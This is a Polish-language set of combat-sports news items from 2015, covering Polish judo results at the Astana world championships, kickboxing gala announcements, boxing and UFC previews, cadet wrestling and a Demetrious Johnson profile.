Federacja DSF Kickboxing Challenge powstała na przełomie czerwca i lipca 2014 r. a już we wrześniu 2014 r. zorganizowała pierwszą galę zawodową w Ząbkach. Kolejna gala miała miejsce w grudniu 2014 r. również w Ząbkach. Jak wspomina prezes grupy DSF Kickboxing Challenge Sławomir Duba "…były to gale na próbę…aby zweryfikować zainteresowanie rynku: środowiska kibicowskiego, sportowego i biznesowego czy jest zainteresowanie kickboxingiem w Polsce…". Pierwsze dwie premierowe gale okazały się pełnym sukcesem.

Po dwóch galach w Ząbkach przyszedł czas na większą halę i inne miejsce. Drogi skierowały federację do Piaseczna pod Warszawą. I…kolejny sukces organizacyjny, pełna hala ludzi (blisko 1.400 osób) blisko sto jedenaście tysięcy przed monitorami komputerów i telewizorów podczas realizacji i transmisji telewizyjnej on-line.

Czwarta gala to już wyzwanie organizacyjne i skok na inny level. Gala DSF Kickboxing Challenge 4 odbyła się na hali Arena Ursynów w Warszawie. Kolejny raz okazało się, że pomysł z organizacja zawodowych gal w kickboxingu to coś, na co fani sportów uderzanych czekali od lat a dyscyplina przeżywa swój renesans i wraca do lat świetności z czasów Marka Piotrowskiego, Przemka Salety czy też Piotra Siegoczyńskiego pierwszego polskiego Zawodowego Mistrza Świata w tej dyscyplinie a jednocześnie dyrektora sportowego federacji DSF Kickboxing Challenge.

DSF Kickboxing Challenge w piatej odsłonie to już inne miasto inna rzeczywistość wiele kilometrów od Warszawy. Federacja DSF tym razem podbija Włocławek. Gala we Włocławku to już blisko milion widzów przed monitorami komputerów i telewizorów, ponieważ gala była transmitowana nie tylko on-line ale także przez tradycyjne telewizje dzięki sieciom kablowym. Do tego kilka tysięcy na hali…cóż więcej trzeba.

Przed nami kolejna odsłona już szósta, tym razem wrzesień 2015 i Orlen Arena Płock…CDN…

[kod]

Pogorzelec tuż za podium

Daria Pogorzelec była jedną z naszych nadziei na medal mistrzostw świata w judo. Zawodniczka Wybrzeża Gdańsk w Astanie zaprezentowała się z dobrej strony, jednak na podium nie stanęła.

Piąte miejsce jest przekleństwem dla judoki. Z jednej strony to dobry wynik, ale z drugiej sukces był o krok. Daria Pogorzelec pokonywała kolejne szczeble turnieju, jednak w półfinale jej dobra passa zakończyła się.

Najlepszy występ

Pogorzelec zaliczyła najlepszy występ z polskich zawodników, którzy do tej pory zaprezentowali się w mistrzostwach świata w Astanie. Kibice w Polsce nadal muszą czekać na medal.

Judoczka Wybrzeża Gdańsk rywalizację w Astanie w kategorii 78kg rozpoczęła od starcia z Lkhamdegd Purevjargal, która jest znacznie niżej notowana od Polki w światowym rankingu. Pogorzelec udowodniła swoją wyższość i odniosła pewne zwycięstwo. W 1/32 finału rywalką Polki była dziesiąta zawodniczka światowego rankingu Victoriia Turks. Pogorzelec nie miała zamiaru czekać na rozwój wypadków i aktywnie rozpoczęła pojedynek, który zakończyła przez ippon. Kolejną przeszkodą na drodze naszej judoczki była Mayra Aguiar, czyli ubiegłoroczna mistrzyni świata. Polka pokazała, że jest mocna i odprawiła Brazylijkę, co dało jej awans ćwierćfinału. Koreanka Hyunji Yoon nie była w stanie powstrzymać Pogorzelec. Zawodniczka Wybrzeża Gdańsk awansowała do decydującej rozgrywki, ale tam nie było już tak dobrze. Półfinałowa porażka z Mami Umeki nie była jeszcze końcem marzeń o medalu. Pozostawała walka o trzecie miejsce, w której Pogorzelec przyszło rywalizować z numerem jeden światowego rankingu Marhinde Verkerk. Pojedynek wyrównany, ale medal pojedzie do Holandii. Verkerk wygrała zaledwie jedną karą shido.

Trzeba otwarcie przyznać, że Pogorzelec wykonała kawał dobrej roboty, a do sukcesu zabrakło niewiele. Ten występ trzeba docenić. Pogorzelec udowodniła, że jest czołową zawodniczką świata.

Eliminacyjna porażka Kłys

Rok temu cieszyła się z sukcesu. Katarzyna Kłys w Czelabińsku sięgnęła po brązowy medal, który był ogromnym sukcesem, a zarazem radością. Polskie judo aż jedenaście lat czekało na medal mistrzostw świata. W Astanie Polka nie powtórzyła osiągnięcia z poprzedniego czempionatu.

Kłys w kategorii 70kg wygrała dwa pojedynki i wydawało się, że jest na dobrej drodze, ale w 1/16 finału trafiła na trudną rywalkę. Kim Poling to numer jeden światowego rankingu, jednak Polka radziła sobie dobrze w pojedynku z utytułowaną przeciwniczką. Na sześć sekund przed końcem Kłys straciła punkty, co dało triumf Holenderce. Patryk Ciechomski od wygranej rozpoczął zmagania  w mistrzostwach świata w Astanie w kategorii 90kg. Kolejna walka okazała się jego ostatnią. Polak nie sprostał mocnemu Gruzinowi Bekce Gviniashviliemu.

W kategorii 70kg u pań triumfowała Gevrise Emane z Francji, a w 78kg najlepsza okazała się Mami Umeki, czyli pogromczyni Darii Pogorzelec. U panów w 90kg złoty medal dla Gwaka Don Hana.

KM

Weekend w FightKlubie- Wielkie starcie Meksykanów – Mares kontra Santa Cruz

W FightKlubie czeka na widzów kolejna dawka
najlepszego boksu pod szyldem ESPN Premier Boxing Champions. Tym razem coś
dla fanów niższych kategorii wagowych, gdzie szybkość i ilość uderzeń
może przyprawić o zawrót głowy. Na gali w Los Angeles w kategorii
piórkowej na dystansie 12 rund rękawice skrzyżują mistrz świata w
trzech wagach, Meksykanin Abner Mares oraz jego rodak, mistrz dwóch
kategorii, Leo Santa Cruz. Będzie to zatem mistrzowskie starcie, chociaż
oficjalnie bez mistrzowskiego pasa na szali. Walka będzie toczyć się jednak
o serca kibiców Miasta Aniołów; obaj bohaterowie
uważają Kalifornię i Los Angeles za swój bokserski dom.

Z agresywnymi stylami obu Meksykanów, ten
sierpniowy wieczór nie może skończyć się inaczej niż efektowną
batalią i to właśnie dlatego ten pojedynek jest tak wyczekiwany przez
kibiców i dziennikarzy. Dla szczególnie nastawionego
ofensywnie Santa Cruza, nieco krytykowanego za dobór ostatnich rywali,
będzie to największa walka i największe wyzwanie w karierze.
Najcenniejszymi zwycięstwami 27-latka pozostają do tej pory Cristian Mijares
oraz Eric Morel. Znacznie bardziej obyty jest jednak 2 lata starszy Mares.
Zwycięstwo nad Viciem Darchinyanem, zdobycie tytułów w kategorii
koguciej wiktorią nad Josephem Agbeko, wreszcie triumf nad Anselmo Moreno i
tytuł w wadze piórkowej po efektownej wygranej przed czasem nad
Danielem Ponce De Leonem, predestynowały go do rankingu top 10 bez podziału
na kategorie wagowe.

Obaj bokserzy mieli szansę ze sobą sparować, 7 lat
temu trenowali wspólnie w Maywood Boxing Club. Jak wspomina Santa
Cruz, nie byli wtedy dobrymi kolegami, po prostu wspólnie dzielili
salę treningową. 29 sierpnia w ringu nawet o koleżeńskim nastawieniu nie
może być mowy. Na transmisję zapraszamy w nocy z soboty na niedzielę od 04:00!

Źródło: materiały prasowe

Kolejne eliminacyjne porażki

Polscy judocy nie mogą przekroczyć bariery eliminacji na mistrzostwach świata w Astanie. Trójka naszych reprezentantów pożegnała się z imprezą.

Dwa pojedynki wygrał Jakub Kubieniec w kategorii 81kg, jednak było to za mało, aby myśleć o jakimkolwiek sukcesie. Do tej pory żaden judoka z Polski nie pokonał 1/32 finału.

Dobry start

Do rywalizacji w kategorii 81kg przystąpiło siedemdziesięciu sześciu judoków. W związku z tym Jakub Kubieniec udział w mistrzostwach świata musiał rozpocząć od 1/124 finału. Jednym słowem przed Polakiem stanęło trudne wyzwanie, aby przebić się do czołówki. W pierwszym pojedynku Kubieniec stanął naprzeciw Kodo Nakano. Zawodnik AZS AWF Katowice nie bawił się w zbędną dyplomację i szybko rozstrzygnął pojedynek na swoją korzyść. Kubieniec potrzebował zaledwie czterdziestu jeden sekund, aby odnieść zwycięstwo. Kolejną przeszkodą na drodze Polaka był Rafael Davtyan, jednak Ormianin również nie sprawił większych problemów naszemu zawodnikowi. Przyszedł czas na pojedynek w 1/32 finału. Kubieniec stanął do rywalizacji z Leandro Guilheiro. Brazylijczyk zna się dobrze na judo, gdyż w swoim dorobku ma dwa brązowe medale igrzysk olimpijskich – 2004 i 2008. Guilheiro wygrał przy yuko, co dla Polaka oznaczało koniec przygody z mistrzostwami świata.

W 1/64 finału odpadł Łukasz Błach w kategorii 81kg. Judoka Śląska Wrocław prowadził wyrównaną walkę z Ushangim Margianim. Rywalizacja była remisowa w karach shido – po dwa, ale w końcówce Gruzin zastosował duszenie. Margiani przeprowadził akcję, która zapewniła mu zwycięstwo, gdyż Błach zmuszony był odklepać. Agata Ozdoba w kategorii 63kg dobrze rozpoczęła rywalizację w mistrzostwach świata. W 1/64 finału Polka przez ippon pokonała Ivanę Komlosiovą, jednak w kolejnej walce musiała uznać wyższość rywalki. Ozdobę wyeliminowała Kathrin Unterwurzacher.

Dwa japońskie złota

Rozstrzygnięcia zapadły w kategoriach 57kg (panie) oraz 73kg (panowie). Na tronie zasiedli japońscy judocy.

Kaori Matsumoto sięgnęła po mistrzowski tytuł w 2010 roku. Japonka musiała czekać pięć lat, aby powtórzyć sukces. W finale spotkała się z doskonale sobie znaną Rumunką Coriną Caprioriu, z którą rywalizowała o złoto igrzysk olimpijskich w Londynie. Po raz kolejny Matsumoto udowodniła swoją wyższość. Zawodniczka z Kraju Kwitnącej Wiśni wygrała z Rumunką przez waza-ari. W finale panów spotkali się dwaj Japończycy – Shohei Ono i Riki Nakaya. Obaj zawodnicy doskonale znają smak triumfu na mistrzostwach świata, jednak tylko jeden z nich mógł dołożyć kolejne trofeum do swojej kolekcji. Lepszy okazał się Ono, który wygrał przez waza-ari i wywalczył złoto po dwóch latach. Ostatnio triumfował w 2013 roku, Nakaya zaś w 2014. W obu przypadkach czołówka została zdominowana przez zawodników z Azji z jednym wyjątkiem. Trzecia w kategorii 57kg była Automne Pavia z Francji.

 

KM

Gala Kickboxingu Zawodowego K-1 Rules IMBIRIADA FIGHTERS NIGHT 5

W imieniu organizatorów mamy przyjemność poinformować Państwa o kolejnej edycji Gali Kickboxingu Zawodowego K1 Rules „IMBIRIADA FIGHTERS NIGHT 5”, która odbędzie się 7 listopada 2015 r. w kompleksie BLUE DIAMOND Hotel Active SPA **** w Rzeszowie.

Gala z udziałem czołowych kickboxerów jest kontynuacją prestiżowego widowiska „FIGHTERS NIGHT”, które wpisało się już na stałe w kalendarz profesjonalnych imprez pod patronatem Polskiego Związku Kickboxingu oraz ogólnopolskich imprez sportów walki. Na rzeszowskiej arenie wystąpią doświadczeni, utalentowani zawodnicy, którzy nie kalkulują w ringu, tylko idą na prawdziwą wojnę, tworząc wyjątkowo ekscytujące widowisko między linami. Warto im wiernie kibicować. Podczas tej międzynarodowej imprezy będzie można podziwiać kunszt  Mistrzów Polski, Europy i Świata. Federacja krajowa potwierdziła rywalizację o pasy mistrzowskie: Międzynarodowego Mistrza Polski oraz Zawodowego Mistrza Polski. O bardzo wysokim poziomie gali świadczą nazwiska, które znajdą się w karcie walk. W trakcie imprezy zobaczymy walki z udziałem mistrzów z Polski, Turcji, Ukrainy i Słowacji. Promotorzy gali są w trakcie negocjacji z  zawodnikami z takich krajów jak: Portugalia, Białoruś, Włochy, Serbia, Litwa, Czechy i Węgry. W karcie walk zobaczymy łącznie osiem walk, z czego aż sześć z nich będzie walkami międzynarodowymi. W sobotni, jesienny wieczór na ringu wystąpią znani i  bardzo utalentowani kickboxerzy, a publiczności z pewnością nie zabraknie szalonych emocji na najwyższym poziomie sportowym.

Szczegóły dotyczące wydarzenia oraz adresy punktów sprzedaży biletów podamy Państwu wkrótce.

SERDECZNIE ZAPRASZAMY!

www.fightersnight.pl

[kod]

Źródło: materiały prasowe

Kamiński z medalem

W Sarajewie trwają mistrzostwa świata kadetów w zapasach. Na początek zaprezentowali się panowie w stylu klasycznym.

Patryk Kamiński zdobył brązowy medal w kategorii 100kg w stylu klasycznym. Inni nasi zawodnicy odpadali przeważnie w pierwszych walkach. Na swoje występy czekają jeszcze kobiety i zapaśnicy w stylu wolnym.

Brązowy klasyk

W ubiegłym roku zapaśnik Cementu Gryfa Chełm okazał się najlepszy podczas 42. edycji prestiżowego memoriału im. Władysława Miazio. Teraz Kamiński odniósł kolejny sukces. Każdy zawodnik stopniowo buduje swoją pozycję. Na własnym podwórku zdobywa doświadczenie i pewność siebie, a potem idzie w świat. Kamiński jest najlepszym tego przykładem. Brązowy medal zdobyty w Sarajewie to kolejny krok w jego karierze, który pokazuje, że zapaśnik z Chełma ma potencjał. Teraz konieczne jest dalsze prawidłowe prowadzenie go, aby w przypadku seniorskich startów mógł wykorzystać w pełni swoje możliwości.

W kategorii 100kg wystartowało dwudziestu dwóch zapaśników. Kamiński zmagania w Sarajewie rozpoczął od rywalizacji z Royotą Kubo. Polak okazał się lepszy od Japończyka i wygrał przez przewagę techniczną 4:0 (8:0). W ćwierćfinale Kamiński udowodnił swoją wyższość nad Azerem Jamalem Feyziyevem, z którym nie miał większych problemów. Polski zapaśnik awansował tym samym do półfinału, a więc medal był praktycznie na wyciągnięcie ręki. Amin Mirzazadeh postawił trudne warunki polskiemu zawodnikowi. Walka był zacięta i wyrównana, jednak rozstrzygnęła się na korzyść reprezentanta Iranu. Warto nadmienić, że Mirzazadeh triumfował w kategorii 100kg. Z kolei Kamińskiego czekała walka o brąz. Valeri Ivanov musiał uznać wyższość Polaka, który może cieszyć się z trzeciego miejsca.

Kolejny medal blisko

Podczas pierwszego dnia zmagań wyróżnił się tylko Kamiński. Reszta naszych zawodników odpadała już po pierwszej walce. Wyjątkiem okazał się Michał Twardowski w kategorii 50kg, który stoczył dwa pojedynki. W obu przypadkach polski zapaśnik musiał pogodzić się z porażką. Na początek Twardowski przegrał z Rosjaninem Eminem Sefershaevem i potem trafił do repasaży, jednak tam nie znalazł recepty na Sebastiana Kolompara.

Drugi dzień rywalizacji w stylu klasycznym rozpoczął się od porażek dwóch Polaków. W kategorii 76kg Piotr Duk musiał uznać wyższość Nicu Samuela Ojoga. Z kolei w 85kg Gerard Kurniczak przegrał z Arturem Sargsianem.

Jak burza idzie Norbert Daszkiewicz w kategorii 69kg, który na początek wyeliminował z rywalizacji Elsaida Clisada. Kolejnym rywalem Polaka był Tchikaidze Nikooloz z Gruzji. Daszkiewicz wyszedł zwycięsko z tego starcia. Polak jest już w finale, gdzie o złoto będzie walczył z Aleksandrem Komarowem.

Rywalizacja w Sarajewie potrwa do niedzieli. Kolejne dwa dni będą należały do pań. Na koniec zaprezentują się panowie w stylu wolnym. Do Sarajewa udało się dwudziestu trzech polskich zapaśników.

KM

Szybkie pożegnanie z Astaną

Drugi dzień mistrzostw świata w judo nie rozpoczął się dla nas dobrze. Arleta Podolak i Damian Szwarnowiecki szybko pożegnali się z rywalizacją.

Jak na razie wygrywają tylko panie, jednak bez efektu. Zarówno Karolina Pieńkowska (52kg) jak i Arleta Podolak (57kg) odpadły w 1/32 turnieju. Aleksander Beta pożegnał się z mistrzostwami już po pierwszej walce.

Marne pocieszenie

Każde zwycięstwo odniesione na turnieju rangi mistrzowskiej ma swoją wartość, jednak każdy chce pokonywać kolejne szczeble. Judocy z Polski nadal czekają na medal mistrzostw świata i przejście przez eliminacje.

Mistrzyni świata juniorek z 2013 roku Arleta Podolak mogła uśmiechnąć się po pierwszej walce. Na początek pokonała przez yuko Jeanette Rodriguez. W 1/32 turnieju Polka trafiła na Loredanę Ohai. Rywalizację z Rumunką Polka rozpoczęła bardzo dobrze, co dawało nadzieję na zwycięstwo. Podolak przeprowadziła błyskawiczną i skuteczną akcję. Polce przyznano yuko, jednak później pojawiły się błędy. Podolak otrzymała trzy kary shido za nieczyste zagrania. Z kolei Ohai zmobilizowała się i przystąpiła do ataku. Efektem tego były dwie akacje zakończone przez yuko. Podolak musiała pogodzić się z porażką.

Rywalem Damiana Szwarnowieckiego w kategorii 73kg był Jaromir Jezek. Czech najlepsze czasy ma już raczej za sobą. W przeszłości zdobywał medale mistrzostw Europy, ale jego obecna dyspozycja jest przeciętna. Początek starcia był wyrównany, jednak z czasem do głosu doszedł Jezek. Czech niemalże perfekcyjnie wykonał tomoe nage i otrzymał yuko. Szwarnowiecki starał się atakować swojego rywala i przeprowadzić skuteczną akcję, ale jego działania nie przyniosły efektu. Czech dobrze się bronił, a przy tym nie pozostawał bierny. Kolejna akcja i yuko. Szwarnowiecki odpadł z mistrzostw świata.

Nakamura razy trzy

Misato Nakamura wraca na szczyt. Judoczka z Kraju Kwitnącej Wiśni po raz ostatni tytuł mistrzowski wywalczyła w 2011 roku. W Astanie na Japonkę nie było mocnych. Andrea Chitu nie była w stanie powstrzymać Nakamury, a dodatkowo popełniała błędy. Pojedynek nie zakończył się w efektowny sposób. Nakamura wygrała na kary shido. Na podium stanęły również Erika Miranda z Brazylii i Daria Skripnik z Białorusi.

W kategorii 66kg u panów triumfował An Baul. Do rozstrzygnięcia finału potrzebna była dogrywka. An Baul rywalizował z Rosjaninem Michaiłem Puliajewem. W regulaminowym czasie obaj otrzymali po trzy kary shido i o wszystkim musiała decydować dogrywka. Na konto Puliajewa zapisano kolejną karę, co było równoznaczne z dyskwalifikacją. Trzecie miejsce zajął Riszob Sobirow z Uzbeskistanu, który ma na swoim koncie dwa złote medale mistrzostw świata, tyle, że w kategorii 60kg. Brąz zdobył także Golan Pollack.

Warto zwrócić uwagę, że do tej pory wszystkie finały rozstrzygały się na kary shido.

KM

 

MŚ w judo – transmisje w FightKlubie

MŚ w judo: Polacy z szansami na medale w Astanie

Katarzyna Kłys (-70 kg) i Maciej Sarnacki (+100 kg) oraz Agata Ozdoba (-63
kg) i Daria Pogorzelec (-78 kg) – to najmocniejsze punkty reprezentacji
Polski na MŚ w judo, które w najbliższy poniedziałek rozpoczną się w
Astanie. Relacja na żywo z całego tygodniowego turnieju w TV FightKlub.

W rankingu światowym Katarzyna Kłys zajmuje 11 miejsce, Daria Pogorzelec
jest 14, Maciej Sarnacki 15, a Agata Ozdoba 21. Już tak dawno tak wielu
Biało-Czerwonych nie było na tak wysokich lokatach na liście federacji IJF.
Dodatkowo w poszczególnych wagach nie wystąpią wszyscy zagraniczni
rywale, np. z powodu kontuzji zabraknie utytułowanego Brazylijczyka Rafaela
Silvy, jednego z głównych przeciwników Macieja Sarnackiego.

W wadze ciężkiej zdecydowanym faworytem jest Francuz Teddy Riner,
którego celem jest 8 tytuł Mistrza Świata. Od 4 lat nie przegrał on
żadnej walki i chce tę passę podtrzymać w Kazachstanie. Miejmy nadzieję, że
skuteczny opór postawi mu zwycięzca tegorocznego Pucharu Świata w
Warszawie, olsztyński policjant Maciej Sarnacki.

MŚ w Astanie to niezwykła gratka dla kibiców, ale też dla wszystkich
zawodników. Przez 7 dni pokażemy ponad 40 godzin zmagań na tatami.
Będzie okazja zobaczyć rozmaite style walki, podpatrzeć najlepszych
judoków i judoczki. Bardzo silne składy przysyłają jak zwykle
reprezentacje Japonii i Korei Płd., a także Rosji, Gruzji, Mongolii czy
Francji.

Oficjalne składy będą znane przed niedzielnym losowaniem, ale już teraz
wiadomo, że znakomity mongolski judoka Tsaaganbaatar Khashbaatar,
który przez ostatnich kilka lat startował w wadze -73 kg, w Astanie
powalczy w wadze -66 kg. Sześć lat temu zdobył w niej złoto MŚ w
Rotterdamie.

Na wielkie sukcesy liczą Niemcy, zwłaszcza, że mają najwięcej swych
reprezentantów w czołowej 10 rankingu światowego – aż 11. W tym
gronie jest urodzona w Bełchatowie mistrzyni Europy Martyna Trajdos -63 kg.
Słynny niemiecki judoka Ole Bischof (mistrz olimpijski z Pekinu i wicemistrz
z Londynu), który już zakończył karierę, twierdzi, że największe
szanse na złoto ma Dimitri Peters -100 kg.

Pierwsze relacje z MŚ w Astanie w poniedziałek o g. 7:00. W bloku porannym
pokażemy wszystkie walki eliminacyjne. Jedynie niedzielne (30.08) zawody
drużynowe rozpoczną się o g. 6:00. Początek decydujących pojedynków
codziennie od g. 13:00.

W puli nagród turnieju indywidualnego jest 300 tysięcy
dolarów – za 1 miejsce 9 tysięcy (zawodnik 7200 i trener 1800), za 2
miejsce – 6000 (4800 i 1200), za 3 miejsce – 3000 (2400 i 600). W zawodach
zespołowych do podziału jest 200 tysięcy dolarów – za 1 miejsce 50
tysięcy (zawodnicy 40000 i trenerzy 10000), za 2 miejsce – 30000 (24000 i
6000), za 3 miejsce – 10000 (8000 i 2000).

Mistrzostwa Świata zaliczane są do kwalifikacji olimpijskich. Do zdobycia
za złoty medal jest aż 900 punktów rankingowych, za srebro 540, za
brąz 360. Dla porównania zwycięzca Mistrzostw Europy otrzymuje 400
pkt. W praktyce oznacza to, że medaliści z Astany zapewnią sobie start w
przyszłorocznych igrzyskach w Rio de Janeiro.

Źródło: materiały prasowe

MŚ: Nieudany początek

Mistrzostwa świata w judo w Astanie już wystartowały. Pierwsze doniesienia na temat występów Polaków nie są jednak optymistyczne.

Do tej pory na tatami w Kazachstanie zaprezentowało się dwoje biało-czerwonych. Karolina Pieńkowska w kategorii 52kg i Aleksander Beta w 66kg odpadli w walkach eliminacyjnych.

Węgier nie był bratem

Karolina Pieńkowska start w Astanie rozpoczęła dobrze. Pojedynek z Djazią Haddad rozstrzygnął się na korzyść Polki, choć walka była wyrównana i niezwykle zacięta. Zawodniczka z Algierii do końca wierzyła w zwycięstwo, jednak przegrała przez yuko. Pieńkowskiej dopisało trochę szczęścia, które jednak w sporcie jest potrzebne. W kolejnej walce los nie sprzyjał Polce. Judoczka AZS UW Warszawa w 1/16 finału trafiła na Gili Cohen. Również w tym pojedynku trudno szukać efektywnego rozstrzygnięcia, które jednoznacznie dawałoby odpowiedź na pytanie, która zawodniczka jest lepsza. Cohen wygrała przez yuko i tym samym Pieńkowska zakończyła swój udział mistrzostwach świata.

Tylko jeden pojedynek w Astanie stoczył Aleksander Beta. Powszechnie mówi się, że „Polak Węgier dwa bratanki”, ale gdy dochodzi do rywalizacji na gruncie sportowym nie ma mowy o przyjaźni. Bence Zambori okazał się rywalem niewygodnym i bardzo sprawnym. Węgier był aktywny i w końcu znalazł sposób na Polaka. Zambori wygrał przez trzymanie.

W kategorii 66kg, w której startował Beta nie brakuje niespodzianek. Z rywalizacją pożegnał się już trzykrotny mistrz świata Masashi Ebinuma, który nie obroni tym samym tytułu zdobytego przed rokiem. Start w Astanie zakończył się również niepowodzeniem mistrza Europy Kamala Chan-Magomedowa i byłego mistrza świata Heorhija Zantaraja.

Pierwsze rozstrzygnięcia

Rywalizacja trwa w najlepsze, ale pierwsze medale zostały już rozdane. Zakończyły się zmagania w kategorii 48kg (panie) i 60kg (panowie). Gospodarze mają już dwa medale.

Tytuł mistrzyni świata wywalczyła Paula Pareto z Argentyny. Judoczka już w Czelabińsku była o krok od złota, ale wtedy na jej drodze stanęła Ami Kondo. Tym razem na Pareto nie było mocnych. W finale spotkała się z reprezentantką Japonii Haruną Asami. Argentynka wygrała na kary shido 1:2. Brązowe medale przypadły Ami Kondo i Jeong Bo Kyeong.

Cieszy się Kazachstan, który na złoty medal mistrzostw świata czekał od 2009 roku. Wtedy najlepszy na światowym czempionacie okazał się Maksim Rakow w kategorii 100kg. Po sześciu latach po złoto sięgnął Jeldos Smetow w 60kg. Już przed finałem wiadomo było, że spełnią się marzenia fanów judo w Kazachstanie. W decydującym pojedynku spotkało się dwóch zawodników z tego kraju. Smetow jedną karą shido okazał się lepszy od Rustana Ibramowa. Brązowe medale dla zawodników z Azji: Japończyka Toru Shishime i Koreańczyka Kim Won Jin.

 

KM

Fabiński zawita do Monterrey

Bartosz Fabiński stoczy kolejny pojedynek w UFC. Polski fighter wystąpi w listopadzie na gali w Monterrey, gdzie jego rywalem będzie Hector Urbina.

Dla Fabińskiego będzie to drugi pojedynek w UFC. Polak w najlepszej organizacji mieszanych sztuk walki na świecie debiutował podczas gali w Krakowie. Wyższość zawodnika z Warszawy musiał uznać Garreth McLellan.

Stanie przed wyzwaniem

Trudno znaleźć lepsze określenie. Fabiński będzie walczył z uznanym rywalem, który swoją pozycję w świecie MMA buduje od 2006 roku. Urbina będzie faworytem publiczności w Monterrey. Amerykanin latynoskiego pochodzenia z pewnością poczuje się jak u siebie w domu. Jedno jest pewne – Fabiński tanio skóry nie sprzeda.

Polak trafił do UFC trochę przez przypadek. Kontuzja wyeliminowała z udziału w gali w Krakowie Krzysztofa Jotkę. Wtedy na jego miejsce wskoczył Fabiński, który radził sobie coraz lepiej i pokonywał rywali podczas zagranicznych wojaży. Na swoje nazwisko zawodnik pracował w PLMMA, gdzie odprawił Antoniego Chmielewskiego i Michała Szulińskiego. Jego kariera potoczyła się błyskawicznie. W 2014 roku Fabiński stoczył pięć pojedynków, z których tylko w jednym musiał uznać wyższość rywala. Z kolei już rok później stanął w oktagonie UFC.

Wygrana z McLellanem to dobry prognostyk, ale tak naprawdę dopiero teraz przyjdzie pora na prawdziwy sprawdzian. Dla Urbiny start na gali w Monterrey będzie drugim występem w UFC. W swoim debiucie Amerykanin w trzy i pół minuty rozprawił się z Edgarem Garcią stosując gilotynę. Właśnie to jest broń Hectora Urbiny. To fighter, który nie ma litości dla swoich rywali. Aż czternaście z siedemnastu wygranych pojedynków Amerykanin skończył przed czasem. W ponad połowie przypadków rywale musieli wstawać z ziemi po ciężkich nokautach. Zatem Fabiński musi być uważny i wytrzymały na ekwilibrystyczne sztuczki Urbiny.

Warto przypomnieć, że 21 listopada w Monterrey zaprezentuje się również inny zawodnik z Polski. Damian Stasiak zmierzy się z Erikiem Perezem. 25-latek, który swoje pierwsze kroki w sztukach walki stawiał w karate, do tej pory zaprezentował się w UFC raz. W Krakowie poległ w starciu z Yaotzinem Mezą.

Holloway górą

Wydarzenie w Meksyku przed nami, a ostatnia noc to gala UFC Fight Night 74, która miała pokazać, kto jest bliżej walki o pas wagi piórkowej. Siódme zwycięstwo z rzędu odniósł Max Holloway. Pigułkę porażki, a także bólu musiał przełknąć Charlesa Oliveirę. 25-latek z Brazylii nie był w stanie kontynuować pojedynku po kontuzji obojczyka. Oliveira już w pierwszej rundzie upadł na matę i na jego twarz pojawił się grymas bólu. Pojedynek zakończył się po niespełna dwóch minutach.

Już w pierwszej rundzie walkę zakończył Francisco Trinaldo, który uderzeniami rozbił Chada Laprise'a. Niespełna minuty potrzebował do zwycięstwa Frankie Perez. 26-letni Amerykanin znokautował Sama Stouta.

 

KM

Demetrious Johnson

Amerykański zawodnik MMA i zapasów urodzony 13 sierpnia 1986 roku w Madisonville. Johnson początkowo uprawiał kolarstwo górskie, zapasy oraz baseball. Ostatecznie zainteresował się MMA i w 2007 roku w swoim debiucie znokautował swojego rywala w niespełna 45 sekund. Kolejne lata to walki na lokalnych galach AX Fighting Championship oraz King of the Cage z czego wszystkie wygrane. W styczniu 2010 roku udał się na Alaskę by stoczyć pojedynek z Jesse Brockiem, którego błyskawicznie znokautował wysokim kopnięciem.  Niepokonany od swojego debiutu w 2007 roku Johnson w 2010 roku związał się z World Extreme Cagefighting.  W swoim debiucie w WEC przegrał z utytułowanym Anglikiem Bradem Pickettem.  30 września tego samego roku Johnson pokonał Nicka Pace’a, wygrywając z nim na punkty. Na kolejną walkę nie musiał długo czekać i 41 dni później stoczył pojedynek z Damacio Page, który wygrał przed czasem przez poddanie. Będąc pod kontraktem WEC, 28 października 2010 roku, prezydent UFC poinformował że WEC zostanie połączone z UFC, a zawodnicy kategorii koguciej, piórkowej i lekkiej zasilą szeregi UFC. Pierwszy jego pojedynek dla UFC został zaplanowany na 5 stycznia, gdzie jego rywalem była Japońska gwiazda MMA Norifu Yamamoto. Amerykanin zdominował rywala i wygrał z nim pewnie na punkty. Będąc po trzech wygranych pojedynkach matchmaker UFC Joe Silva zestawił go z Brazylijczykiem Renan Barao, ale ostatecznie nie doszło do ich pojedynku i nowym rywalem Amerykanina został Miguel Torres. Johnoson pokonał Torresa i dostał możliwość walki o pas mistrzowski w wadze koguciej z mistrzem Dominickiem Cruzem.  Do walki doszło 1 października na gali UFC Live. Johnoson przegrał pojedynek jednogłośnie na punkty.  W 2012 roku Dana White ogłosił wprowadzenie nowej kategorii wagowej w UFC jaką była waga musza. Mając do wyboru pozostanie w kategorii koguciej lub zejść wagę niżej i zasilić nową decyzję, wybrał tę drugą opcje i został włączony do turnieju, który miał wyłonić pierwszego w historii mistrza wagi muszej. Oprócz Johnsona do turnieju zostali dodani Joseph Benavidez, Yasuhiro Urushitani oraz Ian McCall, ten ostatani został rywalem Johnsona w półfinale. Na gali UFC on FX: Alves vs. Kampmann doszło do eliminatora między Johnsonem a McCallem. Johnson w ciągu całego pojedynku był minimalnie gorszym zawodnikiem, jednak sędziowie przyznali jemu zwycięstwo.  Spotkało się to z falą krytyki i protestami sztabu McCalla. Na konferencji prasowej po gali, Dana White poinformował o błędzie sędziego liczącego punkty i zmienił wynik walki na większościowy remis. Od razu został ogłoszony termin rewanżu na 8 czerwca. W tym pojedynku przeważał już Johnson, który wygrał pojedynek. Walka mistrzowska miała miejsce 22 września w Toronto na UFC 152.  Johnson okazał się lepszym i szybszym zawodnikiem i to on został pierwszym mistrzem wagi muszej w UFC. Na swoją obronę tytułu nie długo czekać, i na początku 2013 roku zmierzył się z Johnem Dodsonem.  Po raz kolejny lepszym zawodnikiem okazał się Demetrious Johnson, który wygrał na punkty. 27 lipca doszło do drugiej obrony mistrzowskiego pasa. Rywalem mistrza był John Moraga. Johnson całkowicie zdominował pretendenta. W piątej rundzie Demetrious próbował założyć klucz na rękę rywalowi, by chwile później przejść do bardzo ciasno zapiętej dźwigni prostej na łokieć co zmusiło sędziego do przerwania pojedynku. W grudniu tego samego roku Johnson pokonał przez KO w pierwszej rundzie Josepha Benavideza.  W czerwcu 2014 roku pokonał Aliego Bagautinova przez decyzję sędziowską. W tym samym roku pokonał także Chrisa Cariaso przez poddanie. 25 kwietnia 2015 na gali UFC 186 Johnson poddał Kyoji Horiguchi w piątej rundzie pojedynku.

Górale pokazali charakter

Gala Battle of Warriors w Rabce Zdroju była rywalizacją górali z resztą Polski. Charakter, upór, ambicja i zawziętość wzięły górę. Górale wygrali 5:2.

